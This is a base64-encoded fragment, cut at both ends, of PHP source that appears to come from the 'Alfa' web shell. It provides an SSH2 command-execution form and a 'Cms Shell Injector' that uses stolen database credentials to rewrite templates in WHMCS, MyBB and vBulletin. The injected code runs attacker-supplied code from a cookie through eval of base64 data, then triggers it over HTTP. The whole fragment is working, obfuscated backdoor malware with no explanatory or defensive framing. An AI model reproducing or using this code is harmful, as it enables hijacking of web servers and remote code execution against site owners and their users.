0IHR5cGU9dGV4dCBuYW1lPXNzaF9sb2dpbiB2YWx1ZT0nJz48L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3NoX3Bhc3MgdmFsdWU9Jyc+PC90ZD48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNzaF9wb3J0IHZhbHVlPScnPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvdGQ+PC90YWJsZT48L2Zvcm0+PC9kaXY+IjsNCmFsZmFmb290ZXIoKTsNCn0NCmlmKCRfU0VTU0lPTlsnY29ubmVjdGVkJ109PXRydWUpew0KYWxmYWhlYWQoKTsNCmVjaG8gIjxkaXYgY2xhc3M9aGVhZGVyPiI7DQplY2hvICI8Zm9ybSBuYW1lPSdzc2gyJyBtZXRob2Q9J3Bvc3QnIG9uc3VibWl0PSdnKFwic3NoMlwiLG51bGwsXCIiLiRzc2hfaXAuIlwiLFwiIi4kc3NoX2xvZ2luLiJcIixcIiIuJHNzaF9wYXNzLiJcIixcIiIuJHNzaF9wb3J0LiJcIix0aGlzLnNzaF9jb21tYW5kLnZhbHVlLFwiPj5cIik7IHJldHVybiBmYWxzZTsnPjx0YWJsZSBjZWxscGFkZGluZz0nMicgY2VsbHNwYWNpbmc9JzAnPjx0cj48dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNzaF9jb21tYW5kIHZhbHVlPScnPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2V4ZWN1dGUnIHZhbHVlPScgJz48L3RkPjwvdGFibGU+PC9mb3JtPjxmb3JtIG5hbWU9J3NzaDInIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2coXCdzc2gyXCcsbnVsbCxcJ1wnLFwnXCcsXCdcJyk7IHJldHVybiBmYWxzZTsnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPSdkZXN0c2Vzc2lvbicgdmFsdWU9J2xvZ291dCc+PC9mb3JtPiI7DQokYWxmYXN0cmVhbSA9IHNzaDJfZXhlYygkYWxmYWNvbm5lY3Qyc3NoLCAkc3NoX2NvbW1hbmQpOw0Kc3RyZWFtX3NldF9ibG9ja2luZygkYWxmYXN0cmVhbSx0cnVlKTsNCiRvdXRwdXQgPSBzc2gyX2ZldGNoX3N0cmVhbSgkYWxmYXN0cmVhbSxTU0gyX1NUUkVBTV9TVERJTyk7DQppZigkX1BPU1RbJ2FsZmE2J109PSc+Picpew0KZWNobyAnPHByZSBjbGFzcz1tbDE+JzsNCm9iX3N0YXJ0KCk7DQplY2hvICBzdHJlYW1fZ2V0X2NvbnRlbnRzKCRvdXRwdXQpOw0KZWNobyBodG1sc3BlY2lhbGNoYXJzKG9iX2dldF9jbGVhbigpKTsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9fWVsc2V7DQphbGZhaGVhZCgpOw0KZWNobyAnPGRpdiBjbGFzcz1oZWFkZXI+PHA+PGNlbnRlcj48Yj48Zm9udCBjb2xvcj0icmVkIj5TZXJ2ZXIgZG9lcyBub3Qgc3VwcG9ydCBTU0gyPC9mb250PjxwPjwvYj48L2NlbnRlcj48L2Rpdj4nOw0KYWxmYWZvb3RlcigpOw0KfQ0KfQ0KZnVuY3Rpb24gb3V0cHV0KCRzdHJpbmcpeyBlY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kc3RyaW5nLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9DQpmdW5jdGlvbiBhbGZhU2hlbGxJbmplY3RvcnMoKXsNCmFsZmFoZWFkKCk7DQplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOw0KQWxmYU51bSgxMSk7DQplY2hvICc8Y2VudGVyPjxwPjxkaXYgY2xhc3M9InR4dGZvbnRfaGVhZGVyIj58IENtcyBTaGVsbCBJbmplY3RvciB8PC9kaXY+PC9wPjxjZW50ZXI+PGgzPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsXCd3aG1jc1wnLG51bGwpIj58IFdITUNTIHwgPC9hPjxhIGhyZWY9amF2YXNjcmlwdDp2b2lkKDApIG9uY2xpY2s9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCxcJ215YmJcJykiPnwgTXlCQiB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsbnVsbCxcJ3ZiXCcpIj58IHZCdWxsZXRpbiB8PC9hPjwvaDM+PC9jZW50ZXI+JzsNCiRzZWxlY3RvciA9ICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TaGVsbCBJbmplY3QgTWV0aG9kIDogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48b3B0aW9uIHZhbHVlPSJhdXRvIj5BdXRvTWF0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtYW4iPk1hbnVlbDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhMSddKSAmJiAkX1BPU1RbJ2FsZmExJ109PSAnd2htY3MnKXsNCkFsZmFOdW0oKTsNCmVjaG8gX19wcmUoKS4iPHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCwnd2htY3MnLG51bGwsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucGF0aC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7DQokdGFibGUgPSBhcnJheSgndGQxJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXRoIFdITUNTIFVybCA6ICcsICdpbnB1dE5hbWUnID0+ICdwYXRoJywgJ2lucHV0VmFsdWUnID0+ICdodHRwOi8vc2l0ZS5jb20vd2htY3MnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdNeXNxbCBIb3N0IDogJywgJ2lucHV0TmFtZScgPT4gJ2RiaCcsICdpZCcgPT4gJ2RiX2hvc3QnLCAnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDMnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNCcgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnRGIgVXNlciA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnUnLCAnaWQnID0+ICdkYl91c2VyJywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQ1JyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYiBQYXNzIDogJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCcgPT4gJ2RiX3B3JywgJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAkc2VsZWN0b3I7DQplY2hvICI8cD48aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nICc+PC9wPjwvZm9ybT48L2NlbnRlcj48L3RkPjwvdHI+PC90YWJsZT48L2NlbnRlcj4iOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNiddKSkgew0KJGRidSA9ICRfUE9TVFsnYWxmYTYnXTsNCiRkYm4gPSAkX1BPU1RbJ2FsZmE3J107DQokZGJwID0gJF9QT1NUWydhbGZhOCddOw0KJGRiaCA9ICRfUE9TVFsnYWxmYTknXTsNCiRwYXRoID0gJF9QT1NUWydhbGZhMTAnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107DQokaW5kZXggPSAie3BocH0iLkFMRkFfVVBMT0FERVIuIjt7L3BocH0iOw0KJG5ld2luID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGluZGV4KTsNCiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlkIG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHRoZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdGhlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdKSk7IGRpZShcIiFcIik7fXtcL3BocH0iOw0KaWYoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRpbmRleCkpew0KaWYoZmlsdGVyX3ZhcigkcGF0aCxGSUxURVJfVkFMSURBVEVfVVJMKSl7DQokY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRzb2xlU2F2ZT0gbXlzcWxpX3F1ZXJ5KCRjb25uLCJzZWxlY3QgbWVzc2FnZSBmcm9tIHRibGVtYWlsdGVtcGxhdGVzIHdoZXJlIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIik7DQokc29sZUdldCA9IG15c3FsaV9mZXRjaF9hc3NvYygkc29sZVNhdmUpOw0KJHRlbXBTYXZlMSA9ICRzb2xlR2V0WydtZXNzYWdlJ107DQokdGVtcFNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkdGVtcFNhdmUxKTsNCiRpbmplY3QgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSckbmV3aW5kZXgnIFdIRVJFIG5hbWU9J1Bhc3N3b3JkIFJlc2V0IFZhbGlkYXRpb24nIjsNCiRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRjcmVhdGUgPSAiaW5zZXJ0IGludG8gdGJsY2xpZW50cyAoZW1haWwpIHZhbHVlcygnc29sZXZpc2libGVAZmJpLmdvdicpIjsNCiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQppZihmdW5jdGlvbl9leGlzdHMoJ2N1cmxfdmVyc2lvbicpICYmICRtZXRob2QgPT0gJ2F1dG8nKXsNCiRBbGZhU29sZSA9IG5ldyBBbGZhQ1VSTCh0cnVlKTsNCiRzYXZldXJsID0gJEFsZmFTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsNCiRnZXRUb2tlbiA9IHByZWdfbWF0Y2goIi9uYW1lPVwidG9rZW5cIiB2YWx1ZT1cIiguKj8pXCIvaSIsJHNhdmV1cmwsJHRva2VuKTsNCiRBbGZhU29sZS0+U2VuZCgkcGF0aC4iL3B3cmVzZXQucGhwIiwicG9zdCIsInRva2VuPXskdG9rZW5bMV19JmFjdGlvbj1yZXNldCZlbWFpbD1zb2xldmlzaWJsZUBmYmkuZ292Iik7DQokYmFja2RhdGEgPSAiVVBEQVRFIHRibGVtYWlsdGVtcGxhdGVzIFNFVCBtZXNzYWdlPSd7JHRlbXBTYXZlfScgV0hFUkUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciOw0KJFNvbGV2aXNpYmxlID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRiYWNrZGF0YSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCl9fYWxlcnQoInNoZWxsIGluamVjdGV0Li4uIik7DQokZmY9ICdodHRwOi8vJy4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7DQpvdXRwdXQoJGZmKTt9ZWxzZXsNCmVjaG8gIjxicj48cHJlIGlkPVwic3RyT3V0cHV0XCIgc3R5bGU9XCJtYXJnaW4tdG9wOjVweFwiIGNsYXNzPVwibWwxXCI+PGJyPjxjZW50ZXI+PGI+PGZvbnQgY29sb3I9XCIjRkZGRkZGXCI+UGxlYXNlIGdvIHRvIFRhcmdldCA9PiA8L2ZvbnQ+PGEgaHJlZj0nIi4kcGF0aC4iL3B3cmVzZXQucGhwJyB0YXJnZXQ9J19ibGFuayc+Ii4kcGF0aC4iL3B3cmVzZXQucGhwPC9hPjxici8+PGZvbnQgY29sb3I9JyNGRkZGRkYnPiBBbmQgUmVzZXQgUGFzc3dvcmQgV2l0aCBFbWFpbDwvZm9udD4gPT4gPGZvbnQgY29sb3I9cmVkPnNvbGV2aXNpYmxlQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+QW5kIEdvIFRvID0+IDwvZm9udD48YSBocmVmPSciLiRwYXRoLiIvc29sZXZpc2libGUucGhwJyB0YXJnZXQ9J19ibGFuayc+Ii4kcGF0aC4iL3NvbGV2aXNpYmxlLnBocDwvYT48L2I+PC9jZW50ZXI+PGJyPjxicj4iO319ZWxzZXtfX2FsZXJ0KCdQYXRoIGlzIG5vdCBWYWxpZC4uLicpO319fQ0KfWlmKGlzc2V0KCRfUE9TVFsnYWxmYTInXSkgJiYgJF9QT1NUWydhbGZhMiddPT0gJ215YmInKXsNCkFsZmFOdW0oMSwyLDMsNSk7DQplY2hvIF9fcHJlKCkuIjxwPjxkaXYgY2xhc3M9J3R4dGZvbnRfaGVhZGVyJz58IE15QkIgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+Ii5nZXRDb25maWdIdG1sKCJteWJiIikuIjxmb3JtIGlkPSdzZW5kYWpheCcgb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCxudWxsLCdteWJiJyxudWxsLHRoaXMubWV0aG9kLnZhbHVlLG51bGwsdGhpcy5kYnUudmFsdWUsdGhpcy5kYm4udmFsdWUsdGhpcy5kYnAudmFsdWUsdGhpcy5kYmgudmFsdWUsdGhpcy5wcmVmaXgudmFsdWUpOyByZXR1cm4gZmFsc2U7XCIgbWV0aG9kPVBPU1Q+DQoiOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYmgnLCAnaWQnPT4nZGJfaG9zdCcsJ2lucHV0VmFsdWUnID0+ICdsb2NhbGhvc3QnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQyJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdEYXRhQmFzZSBOYW1lIDogJywgJ2lucHV0TmFtZScgPT4gJ2RibicsICdpZCc9PidkYl9uYW1lJyAsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ2RicCcsICdpZCc9PidkYl9wdycsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3ByZWZpeCcsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnbXliYl8nLCAnaW5wdXRTaXplJyA9PiAnNTAnKQ0KKTsNCmNyZWF0ZV90YWJsZSgkdGFibGUpOw0KZWNobyAkc2VsZWN0b3I7DQplY2hvICI8cD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9JyAnPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC9jZW50ZXI+IjsNCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTYnXSkpIHsNCiRkYnUgPSAkX1BPU1RbJ2FsZmE2J107DQokZGJuID0gJF9QT1NUWydhbGZhNyddOw0KJGRicCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRkYmggPSAkX1BPU1RbJ2FsZmE5J107DQokcHJlZml4ID0gJF9QT1NUWydhbGZhMTAnXTsNCiRtZXRob2QgPSAkX1BPU1RbJ2FsZmE0J107DQokc2hlbGxDb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19IjsNCiRuZXdpbnNoZWxsID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJHNoZWxsQ29kZSk7DQppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7DQokY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRpbmplY3QgPSAic2VsZWN0IHRlbXBsYXRlIGZyb20geyRwcmVmaXh9dGVtcGxhdGVzIHdoZXJlICB0aXRsZT0gJ2NhbGVuZGFyJyI7DQokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOw0KJEdldFRlbXAgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJHJlc3VsdCk7DQokc2F2ZURhdGUgPSAkR2V0VGVtcFsndGVtcGxhdGUnXTsNCiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2ZURhdGUpOw0KJHJlcHNhdmUgPSBzdHJfcmVwbGFjZSgiJyIsIlwnIiwkcmVwc2F2ZSk7DQokY3JlYXRlU2hlbGwgPSAidXBkYXRlIHskcHJlZml4fXRlbXBsYXRlcyBTRVQgdGVtcGxhdGU9ICciLiRuZXdpbnNoZWxsLiRyZXBzYXZlLiInIHdoZXJlIHRpdGxlID0gJ2NhbGVuZGFyJyI7DQokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7DQokZ2V0dXJsID0gInNlbGVjdCB2YWx1ZSBmcm9tIHskcHJlZml4fXNldHRpbmdzIHdoZXJlIG5hbWU9ICdiYnVybCciOw0KJGZpbmR1cmwgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGdldHVybCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsNCiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsNCiRmdXJsID0gJHJvd2JbJ3ZhbHVlJ107DQokcmVhbHVybCA9IHBhcnNlX3VybCgkZnVybCxQSFBfVVJMX0hPU1QpOw0KJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7DQokcmVzID0gZmFsc2U7DQokQWxmYUN1cmwgPSBuZXcgQWxmYUNVUkwoKTsNCmlmIChleHRlbnNpb25fbG9hZGVkKCdzb2NrZXRzJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdmc29ja29wZW4nKSAmJiAkbWV0aG9kID09ICdhdXRvJyApew0KaWYgKCRmc29jayA9IEBmc29ja29wZW4oJHJlYWx1cmwsIDgwLCAkZXJybm8sICRlcnJzdHIsIDEwKSl7DQpAZnB1dHMoJGZzb2NrLCAiR0VUICRyZWFscGF0aC9jYWxlbmRhci5waHAgSFRUUC8xLjFcclxuIik7DQpAZnB1dHMoJGZzb2NrLCAiSE9TVDogJHJlYWx1cmxcclxuIik7DQpAZnB1dHMoJGZzb2NrLCAiQ29ubmVjdGlvbjogY2xvc2VcclxuXHJcbiIpOw0KJGNoZWNrID0gZmdldHMoJGZzb2NrKTsNCmlmKHByZWdfbWF0Y2goIi8yMDAgT0svaSIsJGNoZWNrKSl7DQokcmVwYWlyZGJ0ZW1wID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnJHJlcHNhdmUnIHdoZXJlIHRpdGxlID0gJ2NhbGVuZGFyJyI7DQokY2xlYXIgPSBteXNxbGlfcXVlcnkoJGNvbm4sJHJlcGFpcmRidGVtcCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTskcmVzID0gdHJ1ZTt9DQpAZmNsb3NlKCRmc29jayk7fX1lbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdjdXJsX3ZlcnNpb24nKSAmJiAkbWV0aG9kID09ICdhdXRvJyl7DQokQWxmYUN1cmwtPlNlbmQoJHJlYWx1cmwuJHJlYWxwYXRoLiIvY2FsZW5kYXIucGhwIik7DQokcmVzID0gdHJ1ZTsNCn0NCmlmKCRyZXMpew0KJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7DQpvdXRwdXQoJGZmKTsNCn1lbHNlew0KJGZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL2NhbGVuZGFyLnBocCI7DQokZmZmID0gJ2h0dHA6Ly8nLiRyZWFsdXJsLiRyZWFscGF0aC4iL3NvbGV2aXNpYmxlLnBocCI7DQplY2hvICI8YnI+PHByZSBpZD0nc3RyT3V0cHV0JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHgnIGNsYXNzPSdtbDEnPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPScjRkZGRkZGJz5QbGVhc2UgR28gVG8gVGFyZ2V0ID0+IDwvZm9udD48YSBocmVmPSciLiRmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmYuIjwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz5BbmQgR28gVG8gPT4gPC9mb250PjxhIGhyZWY9JyIuJGZmZi4iJyB0YXJnZXQ9J19ibGFuayc+Ii4kZmZmLiI8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+IjsNCn19fX0NCmlmKGlzc2V0KCRfUE9TVFsnYWxmYTMnXSkgJiYgJF9QT1NUWydhbGZhMyddPT0gJ3ZiJyl7DQpBbGZhTnVtKDEsMiw3LDksMTApOw0KZWNobyBfX3ByZSgpLic8cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCB2YnVsbGV0aW4gfDwvZGl2PjwvcD48cD4nLmdldENvbmZpZ0h0bWwoJ3ZiJykuJzwvcD48Zm9ybSBuYW1lPSJmcm0iIG1ldGhvZD0iUE9TVCIgb25zdWJtaXQ9ImcoXCdTaGVsbEluamVjdG9yc1wnLG51bGwsbnVsbCx0aGlzLmxvLnZhbHVlLFwndmJcJyx0aGlzLnVzZXIudmFsdWUsdGhpcy5wYXNzLnZhbHVlLHRoaXMudGFiLnZhbHVlLHRoaXMuZGIudmFsdWUsdGhpcy5tZXRob2QudmFsdWUpOyByZXR1cm4gZmFsc2U7Ij4nOw0KJHRhYmxlID0gYXJyYXkoJ3RkMScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnSG9zdCA6ICcsICdpbnB1dE5hbWUnID0+ICdsbycsICdpZCc9PidkYl9ob3N0JywnaW5wdXRWYWx1ZScgPT4gJ2xvY2FsaG9zdCcsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDInID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGInLCAnaWQnPT4nZGJfbmFtZScsJ2lucHV0VmFsdWUnID0+ICcnLCAnaW5wdXRTaXplJyA9PiAnNTAnKSwNCiAndGQzJyA9Pg0KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAndXNlcicsICdpZCc9PidkYl91c2VyJywnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLA0KICd0ZDQnID0+DQogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ1Bhc3N3b3JkIDogJywgJ2lucHV0TmFtZScgPT4gJ3Bhc3MnLCAnaWQnPT4nZGJfcHcnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksDQogJ3RkNScgPT4NCiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnVGFibGUgUHJlZml4IDogJywgJ2lucHV0TmFtZScgPT4gJ3RhYicsICdpZCc9PidkYl9wcmVmaXgnLCdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJykNCik7DQpjcmVhdGVfdGFibGUoJHRhYmxlKTsNCmVjaG8gJHNlbGVjdG9yOw0KZWNobyAnPHA+PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IiAiIC8+PC9wPjwvZm9ybT48L2NlbnRlcj4nOw0KaWYoaXNzZXQoJF9QT1NUWydhbGZhNCddKSYmIWVtcHR5KCRfUE9TVFsnYWxmYTQnXSkpew0KJG1ldGhvZCA9ICRfUE9TVFsnYWxmYTgnXTsNCiRjb2RlID0gIntcJHsiLkFMRkFfVVBMT0FERVIuIn19e1wke2V4aXQoKX19JiI7DQokY29ubj1AbXlzcWxpX2Nvbm5lY3QoJF9QT1NUWydhbGZhMiddLCRfUE9TVFsnYWxmYTQnXSwkX1BPU1RbJ2FsZmE1J10sJF9QT1NUWydhbGZhNyddKSBvciBkaWUoQG15c3FsaV9lcnJvcigkY29ubikpOw0KJHJlYyA9ICJzZWxlY3QgYHRlbXBsYXRlYCBmcm9tICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBXSEVSRSB0aXRsZSA9J2ZhcSciOw0KJHJlY2l2ZWRhdGEgPSBAbXlzcWxpX3F1ZXJ5KCRjb25uLCRyZWMpOw0KJGdldGQgPSBAbXlzcWxpX2ZldGNoX2Fzc29jKCRyZWNpdmVkYXRhKTsNCiRzYXZldG9hc3MgPSAkZ2V0ZFsndGVtcGxhdGUnXTsNCiRjb2RlID0gc3RyX3JlcGxhY2UoIiciLCJcJyIsJGNvZGUpOw0KJHAgPSAiVVBEQVRFICIuJF9QT1NUWydhbGZhNiddLiJ0ZW1wbGF0ZSBTRVQgYHRlbXBsYXRlYD0nIi4kY29kZS4iJyBXSEVSRSBgdGl0bGVgPSdmYXEnIjsNCi